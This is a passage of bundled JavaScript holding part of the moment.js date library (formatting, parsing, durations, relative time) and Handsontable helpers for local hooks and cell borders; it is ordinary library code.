0 || m.year() > 9999) { return formatMoment(m, utc ? 'YYYYYY-MM-DD[T]HH:mm:ss.SSS[Z]' : 'YYYYYY-MM-DD[T]HH:mm:ss.SSSZ'); } if (isFunction(Date.prototype.toISOString)) { // native implementation is ~50x faster, use it when we can if (utc) { return this.toDate().toISOString(); } else { return new Date(this._d.valueOf()).toISOString().replace('Z', formatMoment(m, 'Z')); } } return formatMoment(m, utc ? 'YYYY-MM-DD[T]HH:mm:ss.SSS[Z]' : 'YYYY-MM-DD[T]HH:mm:ss.SSSZ'); } /** * Return a human readable representation of a moment that can * also be evaluated to get a new moment which is the same * * @link https://nodejs.org/dist/latest/docs/api/util.html#util_custom_inspect_function_on_objects */ function inspect () { if (!this.isValid()) { return 'moment.invalid(/* ' + this._i + ' */)'; } var func = 'moment'; var zone = ''; if (!this.isLocal()) { func = this.utcOffset() === 0 ? 'moment.utc' : 'moment.parseZone'; zone = 'Z'; } var prefix = '[' + func + '("]'; var year = (0 <= this.year() && this.year() <= 9999) ? 'YYYY' : 'YYYYYY'; var datetime = '-MM-DD[T]HH:mm:ss.SSS'; var suffix = zone + '[")]'; return this.format(prefix + year + datetime + suffix); } function format (inputString) { if (!inputString) { inputString = this.isUtc() ? hooks.defaultFormatUtc : hooks.defaultFormat; } var output = formatMoment(this, inputString); return this.localeData().postformat(output); } function from (time, withoutSuffix) { if (this.isValid() && ((isMoment(time) && time.isValid()) || createLocal(time).isValid())) { return createDuration({to: this, from: time}).locale(this.locale()).humanize(!withoutSuffix); } else { return this.localeData().invalidDate(); } } function fromNow (withoutSuffix) { return this.from(createLocal(), withoutSuffix); } function to (time, withoutSuffix) { if (this.isValid() && ((isMoment(time) && time.isValid()) || createLocal(time).isValid())) { return createDuration({from: this, to: time}).locale(this.locale()).humanize(!withoutSuffix); } else { return this.localeData().invalidDate(); } } function toNow (withoutSuffix) { return this.to(createLocal(), withoutSuffix); } // If passed a locale key, it will set the locale for this // instance. Otherwise, it will return the locale configuration // variables for this instance. function locale (key) { var newLocaleData; if (key === undefined) { return this._locale._abbr; } else { newLocaleData = getLocale(key); if (newLocaleData != null) { this._locale = newLocaleData; } return this; } } var lang = deprecate( 'moment().lang() is deprecated. Instead, use moment().localeData() to get the language configuration. Use moment().locale() to change languages.', function (key) { if (key === undefined) { return this.localeData(); } else { return this.locale(key); } } ); function localeData () { return this._locale; } function startOf (units) { units = normalizeUnits(units); // the following switch intentionally omits break keywords // to utilize falling through the cases. switch (units) { case 'year': this.month(0); /* falls through */ case 'quarter': case 'month': this.date(1); /* falls through */ case 'week': case 'isoWeek': case 'day': case 'date': this.hours(0); /* falls through */ case 'hour': this.minutes(0); /* falls through */ case 'minute': this.seconds(0); /* falls through */ case 'second': this.milliseconds(0); } // weeks are a special case if (units === 'week') { this.weekday(0); } if (units === 'isoWeek') { this.isoWeekday(1); } // quarters are also special if (units === 'quarter') { this.month(Math.floor(this.month() / 3) * 3); } return this; } function endOf (units) { units = normalizeUnits(units); if (units === undefined || units === 'millisecond') { return this; } // 'date' is an alias for 'day', so it should be considered as such. if (units === 'date') { units = 'day'; } return this.startOf(units).add(1, (units === 'isoWeek' ? 'week' : units)).subtract(1, 'ms'); } function valueOf () { return this._d.valueOf() - ((this._offset || 0) * 60000); } function unix () { return Math.floor(this.valueOf() / 1000); } function toDate () { return new Date(this.valueOf()); } function toArray () { var m = this; return [m.year(), m.month(), m.date(), m.hour(), m.minute(), m.second(), m.millisecond()]; } function toObject () { var m = this; return { years: m.year(), months: m.month(), date: m.date(), hours: m.hours(), minutes: m.minutes(), seconds: m.seconds(), milliseconds: m.milliseconds() }; } function toJSON () { // new Date(NaN).toJSON() === null return this.isValid() ? this.toISOString() : null; } function isValid$2 () { return isValid(this); } function parsingFlags () { return extend({}, getParsingFlags(this)); } function invalidAt () { return getParsingFlags(this).overflow; } function creationData() { return { input: this._i, format: this._f, locale: this._locale, isUTC: this._isUTC, strict: this._strict }; } // FORMATTING addFormatToken(0, ['gg', 2], 0, function () { return this.weekYear() % 100; }); addFormatToken(0, ['GG', 2], 0, function () { return this.isoWeekYear() % 100; }); function addWeekYearFormatToken (token, getter) { addFormatToken(0, [token, token.length], 0, getter); } addWeekYearFormatToken('gggg', 'weekYear'); addWeekYearFormatToken('ggggg', 'weekYear'); addWeekYearFormatToken('GGGG', 'isoWeekYear'); addWeekYearFormatToken('GGGGG', 'isoWeekYear'); // ALIASES addUnitAlias('weekYear', 'gg'); addUnitAlias('isoWeekYear', 'GG'); // PRIORITY addUnitPriority('weekYear', 1); addUnitPriority('isoWeekYear', 1); // PARSING addRegexToken('G', matchSigned); addRegexToken('g', matchSigned); addRegexToken('GG', match1to2, match2); addRegexToken('gg', match1to2, match2); addRegexToken('GGGG', match1to4, match4); addRegexToken('gggg', match1to4, match4); addRegexToken('GGGGG', match1to6, match6); addRegexToken('ggggg', match1to6, match6); addWeekParseToken(['gggg', 'ggggg', 'GGGG', 'GGGGG'], function (input, week, config, token) { week[token.substr(0, 2)] = toInt(input); }); addWeekParseToken(['gg', 'GG'], function (input, week, config, token) { week[token] = hooks.parseTwoDigitYear(input); }); // MOMENTS function getSetWeekYear (input) { return getSetWeekYearHelper.call(this, input, this.week(), this.weekday(), this.localeData()._week.dow, this.localeData()._week.doy); } function getSetISOWeekYear (input) { return getSetWeekYearHelper.call(this, input, this.isoWeek(), this.isoWeekday(), 1, 4); } function getISOWeeksInYear () { return weeksInYear(this.year(), 1, 4); } function getWeeksInYear () { var weekInfo = this.localeData()._week; return weeksInYear(this.year(), weekInfo.dow, weekInfo.doy); } function getSetWeekYearHelper(input, week, weekday, dow, doy) { var weeksTarget; if (input == null) { return weekOfYear(this, dow, doy).year; } else { weeksTarget = weeksInYear(input, dow, doy); if (week > weeksTarget) { week = weeksTarget; } return setWeekAll.call(this, input, week, weekday, dow, doy); } } function setWeekAll(weekYear, week, weekday, dow, doy) { var dayOfYearData = dayOfYearFromWeeks(weekYear, week, weekday, dow, doy), date = createUTCDate(dayOfYearData.year, 0, dayOfYearData.dayOfYear); this.year(date.getUTCFullYear()); this.month(date.getUTCMonth()); this.date(date.getUTCDate()); return this; } // FORMATTING addFormatToken('Q', 0, 'Qo', 'quarter'); // ALIASES addUnitAlias('quarter', 'Q'); // PRIORITY addUnitPriority('quarter', 7); // PARSING addRegexToken('Q', match1); addParseToken('Q', function (input, array) { array[MONTH] = (toInt(input) - 1) * 3; }); // MOMENTS function getSetQuarter (input) { return input == null ? Math.ceil((this.month() + 1) / 3) : this.month((input - 1) * 3 + this.month() % 3); } // FORMATTING addFormatToken('D', ['DD', 2], 'Do', 'date'); // ALIASES addUnitAlias('date', 'D'); // PRIOROITY addUnitPriority('date', 9); // PARSING addRegexToken('D', match1to2); addRegexToken('DD', match1to2, match2); addRegexToken('Do', function (isStrict, locale) { // TODO: Remove "ordinalParse" fallback in next major release. return isStrict ? (locale._dayOfMonthOrdinalParse || locale._ordinalParse) : locale._dayOfMonthOrdinalParseLenient; }); addParseToken(['D', 'DD'], DATE); addParseToken('Do', function (input, array) { array[DATE] = toInt(input.match(match1to2)[0]); }); // MOMENTS var getSetDayOfMonth = makeGetSet('Date', true); // FORMATTING addFormatToken('DDD', ['DDDD', 3], 'DDDo', 'dayOfYear'); // ALIASES addUnitAlias('dayOfYear', 'DDD'); // PRIORITY addUnitPriority('dayOfYear', 4); // PARSING addRegexToken('DDD', match1to3); addRegexToken('DDDD', match3); addParseToken(['DDD', 'DDDD'], function (input, array, config) { config._dayOfYear = toInt(input); }); // HELPERS // MOMENTS function getSetDayOfYear (input) { var dayOfYear = Math.round((this.clone().startOf('day') - this.clone().startOf('year')) / 864e5) + 1; return input == null ? dayOfYear : this.add((input - dayOfYear), 'd'); } // FORMATTING addFormatToken('m', ['mm', 2], 0, 'minute'); // ALIASES addUnitAlias('minute', 'm'); // PRIORITY addUnitPriority('minute', 14); // PARSING addRegexToken('m', match1to2); addRegexToken('mm', match1to2, match2); addParseToken(['m', 'mm'], MINUTE); // MOMENTS var getSetMinute = makeGetSet('Minutes', false); // FORMATTING addFormatToken('s', ['ss', 2], 0, 'second'); // ALIASES addUnitAlias('second', 's'); // PRIORITY addUnitPriority('second', 15); // PARSING addRegexToken('s', match1to2); addRegexToken('ss', match1to2, match2); addParseToken(['s', 'ss'], SECOND); // MOMENTS var getSetSecond = makeGetSet('Seconds', false); // FORMATTING addFormatToken('S', 0, 0, function () { return ~~(this.millisecond() / 100); }); addFormatToken(0, ['SS', 2], 0, function () { return ~~(this.millisecond() / 10); }); addFormatToken(0, ['SSS', 3], 0, 'millisecond'); addFormatToken(0, ['SSSS', 4], 0, function () { return this.millisecond() * 10; }); addFormatToken(0, ['SSSSS', 5], 0, function () { return this.millisecond() * 100; }); addFormatToken(0, ['SSSSSS', 6], 0, function () { return this.millisecond() * 1000; }); addFormatToken(0, ['SSSSSSS', 7], 0, function () { return this.millisecond() * 10000; }); addFormatToken(0, ['SSSSSSSS', 8], 0, function () { return this.millisecond() * 100000; }); addFormatToken(0, ['SSSSSSSSS', 9], 0, function () { return this.millisecond() * 1000000; }); // ALIASES addUnitAlias('millisecond', 'ms'); // PRIORITY addUnitPriority('millisecond', 16); // PARSING addRegexToken('S', match1to3, match1); addRegexToken('SS', match1to3, match2); addRegexToken('SSS', match1to3, match3); var token; for (token = 'SSSS'; token.length <= 9; token += 'S') { addRegexToken(token, matchUnsigned); } function parseMs(input, array) { array[MILLISECOND] = toInt(('0.' + input) * 1000); } for (token = 'S'; token.length <= 9; token += 'S') { addParseToken(token, parseMs); } // MOMENTS var getSetMillisecond = makeGetSet('Milliseconds', false); // FORMATTING addFormatToken('z', 0, 0, 'zoneAbbr'); addFormatToken('zz', 0, 0, 'zoneName'); // MOMENTS function getZoneAbbr () { return this._isUTC ? 'UTC' : ''; } function getZoneName () { return this._isUTC ? 'Coordinated Universal Time' : ''; } var proto = Moment.prototype; proto.add = add; proto.calendar = calendar$1; proto.clone = clone; proto.diff = diff; proto.endOf = endOf; proto.format = format; proto.from = from; proto.fromNow = fromNow; proto.to = to; proto.toNow = toNow; proto.get = stringGet; proto.invalidAt = invalidAt; proto.isAfter = isAfter; proto.isBefore = isBefore; proto.isBetween = isBetween; proto.isSame = isSame; proto.isSameOrAfter = isSameOrAfter; proto.isSameOrBefore = isSameOrBefore; proto.isValid = isValid$2; proto.lang = lang; proto.locale = locale; proto.localeData = localeData; proto.max = prototypeMax; proto.min = prototypeMin; proto.parsingFlags = parsingFlags; proto.set = stringSet; proto.startOf = startOf; proto.subtract = subtract; proto.toArray = toArray; proto.toObject = toObject; proto.toDate = toDate; proto.toISOString = toISOString; proto.inspect = inspect; proto.toJSON = toJSON; proto.toString = toString; proto.unix = unix; proto.valueOf = valueOf; proto.creationData = creationData; // Year proto.year = getSetYear; proto.isLeapYear = getIsLeapYear; // Week Year proto.weekYear = getSetWeekYear; proto.isoWeekYear = getSetISOWeekYear; // Quarter proto.quarter = proto.quarters = getSetQuarter; // Month proto.month = getSetMonth; proto.daysInMonth = getDaysInMonth; // Week proto.week = proto.weeks = getSetWeek; proto.isoWeek = proto.isoWeeks = getSetISOWeek; proto.weeksInYear = getWeeksInYear; proto.isoWeeksInYear = getISOWeeksInYear; // Day proto.date = getSetDayOfMonth; proto.day = proto.days = getSetDayOfWeek; proto.weekday = getSetLocaleDayOfWeek; proto.isoWeekday = getSetISODayOfWeek; proto.dayOfYear = getSetDayOfYear; // Hour proto.hour = proto.hours = getSetHour; // Minute proto.minute = proto.minutes = getSetMinute; // Second proto.second = proto.seconds = getSetSecond; // Millisecond proto.millisecond = proto.milliseconds = getSetMillisecond; // Offset proto.utcOffset = getSetOffset; proto.utc = setOffsetToUTC; proto.local = setOffsetToLocal; proto.parseZone = setOffsetToParsedOffset; proto.hasAlignedHourOffset = hasAlignedHourOffset; proto.isDST = isDaylightSavingTime; proto.isLocal = isLocal; proto.isUtcOffset = isUtcOffset; proto.isUtc = isUtc; proto.isUTC = isUtc; // Timezone proto.zoneAbbr = getZoneAbbr; proto.zoneName = getZoneName; // Deprecations proto.dates = deprecate('dates accessor is deprecated. Use date instead.', getSetDayOfMonth); proto.months = deprecate('months accessor is deprecated. Use month instead', getSetMonth); proto.years = deprecate('years accessor is deprecated. Use year instead', getSetYear); proto.zone = deprecate('moment().zone is deprecated, use moment().utcOffset instead. http://momentjs.com/guides/#/warnings/zone/', getSetZone); proto.isDSTShifted = deprecate('isDSTShifted is deprecated. See http://momentjs.com/guides/#/warnings/dst-shifted/ for more information', isDaylightSavingTimeShifted); function createUnix (input) { return createLocal(input * 1000); } function createInZone () { return createLocal.apply(null, arguments).parseZone(); } function preParsePostFormat (string) { return string; } var proto$1 = Locale.prototype; proto$1.calendar = calendar; proto$1.longDateFormat = longDateFormat; proto$1.invalidDate = invalidDate; proto$1.ordinal = ordinal; proto$1.preparse = preParsePostFormat; proto$1.postformat = preParsePostFormat; proto$1.relativeTime = relativeTime; proto$1.pastFuture = pastFuture; proto$1.set = set; // Month proto$1.months = localeMonths; proto$1.monthsShort = localeMonthsShort; proto$1.monthsParse = localeMonthsParse; proto$1.monthsRegex = monthsRegex; proto$1.monthsShortRegex = monthsShortRegex; // Week proto$1.week = localeWeek; proto$1.firstDayOfYear = localeFirstDayOfYear; proto$1.firstDayOfWeek = localeFirstDayOfWeek; // Day of Week proto$1.weekdays = localeWeekdays; proto$1.weekdaysMin = localeWeekdaysMin; proto$1.weekdaysShort = localeWeekdaysShort; proto$1.weekdaysParse = localeWeekdaysParse; proto$1.weekdaysRegex = weekdaysRegex; proto$1.weekdaysShortRegex = weekdaysShortRegex; proto$1.weekdaysMinRegex = weekdaysMinRegex; // Hours proto$1.isPM = localeIsPM; proto$1.meridiem = localeMeridiem; function get$1 (format, index, field, setter) { var locale = getLocale(); var utc = createUTC().set(setter, index); return locale[field](utc, format); } function listMonthsImpl (format, index, field) { if (isNumber(format)) { index = format; format = undefined; } format = format || ''; if (index != null) { return get$1(format, index, field, 'month'); } var i; var out = []; for (i = 0; i < 12; i++) { out[i] = get$1(format, i, field, 'month'); } return out; } // () // (5) // (fmt, 5) // (fmt) // (true) // (true, 5) // (true, fmt, 5) // (true, fmt) function listWeekdaysImpl (localeSorted, format, index, field) { if (typeof localeSorted === 'boolean') { if (isNumber(format)) { index = format; format = undefined; } format = format || ''; } else { format = localeSorted; index = format; localeSorted = false; if (isNumber(format)) { index = format; format = undefined; } format = format || ''; } var locale = getLocale(), shift = localeSorted ? locale._week.dow : 0; if (index != null) { return get$1(format, (index + shift) % 7, field, 'day'); } var i; var out = []; for (i = 0; i < 7; i++) { out[i] = get$1(format, (i + shift) % 7, field, 'day'); } return out; } function listMonths (format, index) { return listMonthsImpl(format, index, 'months'); } function listMonthsShort (format, index) { return listMonthsImpl(format, index, 'monthsShort'); } function listWeekdays (localeSorted, format, index) { return listWeekdaysImpl(localeSorted, format, index, 'weekdays'); } function listWeekdaysShort (localeSorted, format, index) { return listWeekdaysImpl(localeSorted, format, index, 'weekdaysShort'); } function listWeekdaysMin (localeSorted, format, index) { return listWeekdaysImpl(localeSorted, format, index, 'weekdaysMin'); } getSetGlobalLocale('en', { dayOfMonthOrdinalParse: /\d{1,2}(th|st|nd|rd)/, ordinal : function (number) { var b = number % 10, output = (toInt(number % 100 / 10) === 1) ? 'th' : (b === 1) ? 'st' : (b === 2) ? 'nd' : (b === 3) ? 'rd' : 'th'; return number + output; } }); // Side effect imports hooks.lang = deprecate('moment.lang is deprecated. Use moment.locale instead.', getSetGlobalLocale); hooks.langData = deprecate('moment.langData is deprecated. Use moment.localeData instead.', getLocale); var mathAbs = Math.abs; function abs () { var data = this._data; this._milliseconds = mathAbs(this._milliseconds); this._days = mathAbs(this._days); this._months = mathAbs(this._months); data.milliseconds = mathAbs(data.milliseconds); data.seconds = mathAbs(data.seconds); data.minutes = mathAbs(data.minutes); data.hours = mathAbs(data.hours); data.months = mathAbs(data.months); data.years = mathAbs(data.years); return this; } function addSubtract$1 (duration, input, value, direction) { var other = createDuration(input, value); duration._milliseconds += direction * other._milliseconds; duration._days += direction * other._days; duration._months += direction * other._months; return duration._bubble(); } // supports only 2.0-style add(1, 's') or add(duration) function add$1 (input, value) { return addSubtract$1(this, input, value, 1); } // supports only 2.0-style subtract(1, 's') or subtract(duration) function subtract$1 (input, value) { return addSubtract$1(this, input, value, -1); } function absCeil (number) { if (number < 0) { return Math.floor(number); } else { return Math.ceil(number); } } function bubble () { var milliseconds = this._milliseconds; var days = this._days; var months = this._months; var data = this._data; var seconds, minutes, hours, years, monthsFromDays; // if we have a mix of positive and negative values, bubble down first // check: https://github.com/moment/moment/issues/2166 if (!((milliseconds >= 0 && days >= 0 && months >= 0) || (milliseconds <= 0 && days <= 0 && months <= 0))) { milliseconds += absCeil(monthsToDays(months) + days) * 864e5; days = 0; months = 0; } // The following code bubbles up values, see the tests for // examples of what that means. data.milliseconds = milliseconds % 1000; seconds = absFloor(milliseconds / 1000); data.seconds = seconds % 60; minutes = absFloor(seconds / 60); data.minutes = minutes % 60; hours = absFloor(minutes / 60); data.hours = hours % 24; days += absFloor(hours / 24); // convert days to months monthsFromDays = absFloor(daysToMonths(days)); months += monthsFromDays; days -= absCeil(monthsToDays(monthsFromDays)); // 12 months -> 1 year years = absFloor(months / 12); months %= 12; data.days = days; data.months = months; data.years = years; return this; } function daysToMonths (days) { // 400 years have 146097 days (taking into account leap year rules) // 400 years have 12 months === 4800 return days * 4800 / 146097; } function monthsToDays (months) { // the reverse of daysToMonths return months * 146097 / 4800; } function as (units) { if (!this.isValid()) { return NaN; } var days; var months; var milliseconds = this._milliseconds; units = normalizeUnits(units); if (units === 'month' || units === 'year') { days = this._days + milliseconds / 864e5; months = this._months + daysToMonths(days); return units === 'month' ? months : months / 12; } else { // handle milliseconds separately because of floating point math errors (issue #1867) days = this._days + Math.round(monthsToDays(this._months)); switch (units) { case 'week' : return days / 7 + milliseconds / 6048e5; case 'day' : return days + milliseconds / 864e5; case 'hour' : return days * 24 + milliseconds / 36e5; case 'minute' : return days * 1440 + milliseconds / 6e4; case 'second' : return days * 86400 + milliseconds / 1000; // Math.floor prevents floating point math errors here case 'millisecond': return Math.floor(days * 864e5) + milliseconds; default: throw new Error('Unknown unit ' + units); } } } // TODO: Use this.as('ms')? function valueOf$1 () { if (!this.isValid()) { return NaN; } return ( this._milliseconds + this._days * 864e5 + (this._months % 12) * 2592e6 + toInt(this._months / 12) * 31536e6 ); } function makeAs (alias) { return function () { return this.as(alias); }; } var asMilliseconds = makeAs('ms'); var asSeconds = makeAs('s'); var asMinutes = makeAs('m'); var asHours = makeAs('h'); var asDays = makeAs('d'); var asWeeks = makeAs('w'); var asMonths = makeAs('M'); var asYears = makeAs('y'); function clone$1 () { return createDuration(this); } function get$2 (units) { units = normalizeUnits(units); return this.isValid() ? this[units + 's']() : NaN; } function makeGetter(name) { return function () { return this.isValid() ? this._data[name] : NaN; }; } var milliseconds = makeGetter('milliseconds'); var seconds = makeGetter('seconds'); var minutes = makeGetter('minutes'); var hours = makeGetter('hours'); var days = makeGetter('days'); var months = makeGetter('months'); var years = makeGetter('years'); function weeks () { return absFloor(this.days() / 7); } var round = Math.round; var thresholds = { ss: 44, // a few seconds to seconds s : 45, // seconds to minute m : 45, // minutes to hour h : 22, // hours to day d : 26, // days to month M : 11 // months to year }; // helper function for moment.fn.from, moment.fn.fromNow, and moment.duration.fn.humanize function substituteTimeAgo(string, number, withoutSuffix, isFuture, locale) { return locale.relativeTime(number || 1, !!withoutSuffix, string, isFuture); } function relativeTime$1 (posNegDuration, withoutSuffix, locale) { var duration = createDuration(posNegDuration).abs(); var seconds = round(duration.as('s')); var minutes = round(duration.as('m')); var hours = round(duration.as('h')); var days = round(duration.as('d')); var months = round(duration.as('M')); var years = round(duration.as('y')); var a = seconds <= thresholds.ss && ['s', seconds] || seconds < thresholds.s && ['ss', seconds] || minutes <= 1 && ['m'] || minutes < thresholds.m && ['mm', minutes] || hours <= 1 && ['h'] || hours < thresholds.h && ['hh', hours] || days <= 1 && ['d'] || days < thresholds.d && ['dd', days] || months <= 1 && ['M'] || months < thresholds.M && ['MM', months] || years <= 1 && ['y'] || ['yy', years]; a[2] = withoutSuffix; a[3] = +posNegDuration > 0; a[4] = locale; return substituteTimeAgo.apply(null, a); } // This function allows you to set the rounding function for relative time strings function getSetRelativeTimeRounding (roundingFunction) { if (roundingFunction === undefined) { return round; } if (typeof(roundingFunction) === 'function') { round = roundingFunction; return true; } return false; } // This function allows you to set a threshold for relative time strings function getSetRelativeTimeThreshold (threshold, limit) { if (thresholds[threshold] === undefined) { return false; } if (limit === undefined) { return thresholds[threshold]; } thresholds[threshold] = limit; if (threshold === 's') { thresholds.ss = limit - 1; } return true; } function humanize (withSuffix) { if (!this.isValid()) { return this.localeData().invalidDate(); } var locale = this.localeData(); var output = relativeTime$1(this, !withSuffix, locale); if (withSuffix) { output = locale.pastFuture(+this, output); } return locale.postformat(output); } var abs$1 = Math.abs; function sign(x) { return ((x > 0) - (x < 0)) || +x; } function toISOString$1() { // for ISO strings we do not use the normal bubbling rules: // * milliseconds bubble up until they become hours // * days do not bubble at all // * months bubble up until they become years // This is because there is no context-free conversion between hours and days // (think of clock changes) // and also not between days and months (28-31 days per month) if (!this.isValid()) { return this.localeData().invalidDate(); } var seconds = abs$1(this._milliseconds) / 1000; var days = abs$1(this._days); var months = abs$1(this._months); var minutes, hours, years; // 3600 seconds -> 60 minutes -> 1 hour minutes = absFloor(seconds / 60); hours = absFloor(minutes / 60); seconds %= 60; minutes %= 60; // 12 months -> 1 year years = absFloor(months / 12); months %= 12; // inspired by https://github.com/dordille/moment-isoduration/blob/master/moment.isoduration.js var Y = years; var M = months; var D = days; var h = hours; var m = minutes; var s = seconds ? seconds.toFixed(3).replace(/\.?0+$/, '') : ''; var total = this.asSeconds(); if (!total) { // this is the same as C#'s (Noda) and python (isodate)... // but not other JS (goog.date) return 'P0D'; } var totalSign = total < 0 ? '-' : ''; var ymSign = sign(this._months) !== sign(total) ? '-' : ''; var daysSign = sign(this._days) !== sign(total) ? '-' : ''; var hmsSign = sign(this._milliseconds) !== sign(total) ? '-' : ''; return totalSign + 'P' + (Y ? ymSign + Y + 'Y' : '') + (M ? ymSign + M + 'M' : '') + (D ? daysSign + D + 'D' : '') + ((h || m || s) ? 'T' : '') + (h ? hmsSign + h + 'H' : '') + (m ? hmsSign + m + 'M' : '') + (s ? hmsSign + s + 'S' : ''); } var proto$2 = Duration.prototype; proto$2.isValid = isValid$1; proto$2.abs = abs; proto$2.add = add$1; proto$2.subtract = subtract$1; proto$2.as = as; proto$2.asMilliseconds = asMilliseconds; proto$2.asSeconds = asSeconds; proto$2.asMinutes = asMinutes; proto$2.asHours = asHours; proto$2.asDays = asDays; proto$2.asWeeks = asWeeks; proto$2.asMonths = asMonths; proto$2.asYears = asYears; proto$2.valueOf = valueOf$1; proto$2._bubble = bubble; proto$2.clone = clone$1; proto$2.get = get$2; proto$2.milliseconds = milliseconds; proto$2.seconds = seconds; proto$2.minutes = minutes; proto$2.hours = hours; proto$2.days = days; proto$2.weeks = weeks; proto$2.months = months; proto$2.years = years; proto$2.humanize = humanize; proto$2.toISOString = toISOString$1; proto$2.toString = toISOString$1; proto$2.toJSON = toISOString$1; proto$2.locale = locale; proto$2.localeData = localeData; // Deprecations proto$2.toIsoString = deprecate('toIsoString() is deprecated. Please use toISOString() instead (notice the capitals)', toISOString$1); proto$2.lang = lang; // Side effect imports // FORMATTING addFormatToken('X', 0, 0, 'unix'); addFormatToken('x', 0, 0, 'valueOf'); // PARSING addRegexToken('x', matchSigned); addRegexToken('X', matchTimestamp); addParseToken('X', function (input, array, config) { config._d = new Date(parseFloat(input, 10) * 1000); }); addParseToken('x', function (input, array, config) { config._d = new Date(toInt(input)); }); // Side effect imports hooks.version = '2.20.1'; setHookCallback(createLocal); hooks.fn = proto; hooks.min = min; hooks.max = max; hooks.now = now; hooks.utc = createUTC; hooks.unix = createUnix; hooks.months = listMonths; hooks.isDate = isDate; hooks.locale = getSetGlobalLocale; hooks.invalid = createInvalid; hooks.duration = createDuration; hooks.isMoment = isMoment; hooks.weekdays = listWeekdays; hooks.parseZone = createInZone; hooks.localeData = getLocale; hooks.isDuration = isDuration; hooks.monthsShort = listMonthsShort; hooks.weekdaysMin = listWeekdaysMin; hooks.defineLocale = defineLocale; hooks.updateLocale = updateLocale; hooks.locales = listLocales; hooks.weekdaysShort = listWeekdaysShort; hooks.normalizeUnits = normalizeUnits; hooks.relativeTimeRounding = getSetRelativeTimeRounding; hooks.relativeTimeThreshold = getSetRelativeTimeThreshold; hooks.calendarFormat = getCalendarFormat; hooks.prototype = proto; // currently HTML5 input type only supports 24-hour formats hooks.HTML5_FMT = { DATETIME_LOCAL: 'YYYY-MM-DDTHH:mm', // DATETIME_LOCAL_SECONDS: 'YYYY-MM-DDTHH:mm:ss', // DATETIME_LOCAL_MS: 'YYYY-MM-DDTHH:mm:ss.SSS', // DATE: 'YYYY-MM-DD', // TIME: 'HH:mm', // TIME_SECONDS: 'HH:mm:ss', // TIME_MS: 'HH:mm:ss.SSS', // WEEK: 'YYYY-[W]WW', // MONTH: 'YYYY-MM' // }; return hooks; }))); /*** EXPORTS FROM exports-to-window-loader ***/ window['moment'] = __webpack_require__(67); /* WEBPACK VAR INJECTION */}.call(exports, __webpack_require__(166)(module))) /***/ }), /* 68 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _array = __webpack_require__(3); var _object = __webpack_require__(2); var MIXIN_NAME = 'localHooks'; /** * Mixin object to extend objects functionality for local hooks. * * @type {Object} */ var localHooks = { /** * Internal hooks storage. */ _localHooks: Object.create(null), /** * Add hook to the collection. * * @param {String} key Hook name. * @param {Function} callback Hook callback * @returns {Object} */ addLocalHook: function addLocalHook(key, callback) { if (!this._localHooks[key]) { this._localHooks[key] = []; } this._localHooks[key].push(callback); return this; }, /** * Run hooks. * * @param {String} key Hook name. * @param {*} params */ runLocalHooks: function runLocalHooks(key) { var _this = this; for (var _len = arguments.length, params = new Array(_len > 1 ? _len - 1 : 0), _key = 1; _key < _len; _key++) { params[_key - 1] = arguments[_key]; } if (this._localHooks[key]) { (0, _array.arrayEach)(this._localHooks[key], function (callback) { return callback.apply(_this, params); }); } }, /** * Clear all added hooks. * * @returns {Object} */ clearLocalHooks: function clearLocalHooks() { this._localHooks = {}; return this; } }; (0, _object.defineGetter)(localHooks, 'MIXIN_NAME', MIXIN_NAME, { writable: false, enumerable: false }); var _default = localHooks; exports.default = _default; /***/ }), /* 69 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.createId = createId; exports.createDefaultCustomBorder = createDefaultCustomBorder; exports.createSingleEmptyBorder = createSingleEmptyBorder; exports.createDefaultHtBorder = createDefaultHtBorder; exports.createEmptyBorders = createEmptyBorders; exports.extendDefaultBorder = extendDefaultBorder; exports.checkSelectionBorders = checkSelectionBorders; exports.markSelected = markSelected; var _object = __webpack_require__(2); var _array = __webpack_require__(3); /** * Create separated id for borders for each cell. * * @param {Number} row Visual row index. * @param {Number} col Visual column index. * @returns {String} */ function createId(row, col) { return "border_row".concat(row, "col").concat(col); } /** * Create default single border for each position (top/right/bottom/left). * * @returns {Object} `{{width: number, color: string}}` */ function createDefaultCustomBorder() { return { width: 1, color: '#000' }; } /** * Create default object for empty border. * * @returns {Object} `{{hide: boolean}}` */ function createSingleEmptyBorder() { return { hide: true }; } /** * Create default Handsontable border object. * * @returns {Object} `{{width: number, color: string, cornerVisible: boolean}}` */ function createDefaultHtBorder() { return { width: 1, color: '#000', cornerVisible: false }; } /** * Prepare empty border for each cell with all custom borders hidden. * * @param {Number} row Visual row index. * @param {Number} col Visual column index. * @returns {Object} `{{id: *, border: *, row: *, col: *, top: {hide: boolean}, right: {hide: boolean}, bottom: {hide: boolean}, left: {hide: boolean}}}` */ function createEmptyBorders(row, col) { return { id: createId(row, col), border: createDefaultHtBorder(), row: row, col: col, top: createSingleEmptyBorder(), right: createSingleEmptyBorder(), bottom: createSingleEmptyBorder(), left: createSingleEmptyBorder() }; } function extendDefaultBorder(defaultBorder, customBorder) { if ((0, _object.hasOwnProperty)(customBorder, 'border')) { defaultBorder.border = customBorder.border; } if ((0, _object.hasOwnProperty)(customBorder, 'top')) { if (customBorder.top) { if (!(0, _object.isObject)(customBorder.top)) { customBorder.top = createDefaultCustomBorder(); } defaultBorder.top = customBorder.top; } else { customBorder.top = createSingleEmptyBorder(); defaultBorder.top = customBorder.top; } } if ((0, _object.hasOwnProperty)(customBorder, 'right')) { if (customBorder.right) { if (!(0, _object.isObject)(customBorder.right)) { customBorder.right = createDefaultCustomBorder(); } defaultBorder.right = customBorder.right; } else { customBorder.right = createSingleEmptyBorder(); defaultBorder.right = customBorder.right; } } if ((0, _object.hasOwnProperty)(customBorder, 'bottom')) { if (customBorder.bottom) { if (!(0, _object.isObject)(customBorder.bottom)) { customBorder.bottom = createDefaultCustomBorder(); } defaultBorder.bottom = customBorder.bottom; } else { customBorder.bottom = createSingleEmptyBorder(); defaultBorder.bottom = customBorder.bottom; } } if ((0, _object.hasOwnProperty)(customBorder, 'left')) { if (customBorder.left) { if (!(0, _object.isObject)(customBorder.left)) { customBorder.left = createDefaultCustomBorder(); } defaultBorder.left = customBorder.left; } else { customBorder.left = createSingleEmptyBorder(); defaultBorder.left = customBorder.left; } } return defaultBorder; } /** * Check if selection has border. * * @param hot * @param direction */ function checkSelectionBorders(hot, direction) { var atLeastOneHasBorder = false; (0, _array.arrayEach)(hot.getSelectedRange(), function (range) { range.forAll(function (r, c) { var metaBorders = hot.getCellMeta(r, c).borders; if 